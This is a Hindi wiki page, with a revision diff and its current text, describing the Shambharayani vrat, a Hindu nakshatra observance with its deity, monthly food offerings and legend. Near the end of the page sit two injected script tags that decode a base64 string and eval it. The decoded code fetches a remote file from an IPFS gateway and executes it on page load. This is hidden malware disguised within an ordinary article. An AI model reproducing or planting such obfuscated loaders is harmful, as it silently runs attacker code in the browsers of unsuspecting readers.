आदित्य चौधरी (वार्ता | योगदान) छो (Text replace - "उल्लखित" to "उल्लिखित") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - ")</ref" to "</ref") |
||
(इसी सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया) | |||
पंक्ति 5: | पंक्ति 5: | ||
*ब्राह्मणों को नैवेद्य का ही भोज कराना चाहिए। | *ब्राह्मणों को नैवेद्य का ही भोज कराना चाहिए। | ||
*[[ब्राह्मण]] नारी शांभरायणी (जिससे [[बृहस्पति ऋषि|बृहस्पति]] ने [[इन्द्र]] के पूर्व के विषय में पूछा था) की प्रतिमा का स्थापन करना चाहिए। | *[[ब्राह्मण]] नारी शांभरायणी (जिससे [[बृहस्पति ऋषि|बृहस्पति]] ने [[इन्द्र]] के पूर्व के विषय में पूछा था) की प्रतिमा का स्थापन करना चाहिए। | ||
*[[कृष्ण]] ने इस श्रद्धेया नारी की गाथा सुनायी है।<ref> हेमाद्रि (व्रत खण्ड 2, 659-665, भविष्योत्तरपुराण से उद्धरण | *[[कृष्ण]] ने इस श्रद्धेया नारी की गाथा सुनायी है।<ref> हेमाद्रि (व्रत खण्ड 2, 659-665, भविष्योत्तरपुराण से उद्धरण</ref> | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
12:49, 27 जुलाई 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- शाम्भरायणी व्रत एक नक्षत्र व्रत है।
- शाम्भरायणीव्रत देवता अच्युत; सात वर्षों तक; 12 नक्षत्रों, यथा–कृत्तिका, मृगशिरा, पुष्य.....से वर्ष के 12 मासों के नाम, यथा कार्तिक, मार्गशीर्ष, पौष आदि करना चाहिए।
- कार्तिक में आरम्भ, नैवेद्य, प्रथम चार मासों के लिए खिचड़ी (कृशर), फाल्गुन से आगे के मासों में संयाव तथा आषाढ़ से आगे के चार मासों में पायस करना चाहिए।
- ब्राह्मणों को नैवेद्य का ही भोज कराना चाहिए।
- ब्राह्मण नारी शांभरायणी (जिससे बृहस्पति ने इन्द्र के पूर्व के विषय में पूछा था) की प्रतिमा का स्थापन करना चाहिए।
- कृष्ण ने इस श्रद्धेया नारी की गाथा सुनायी है।[1]
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रत खण्ड 2, 659-665, भविष्योत्तरपुराण से उद्धरण
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>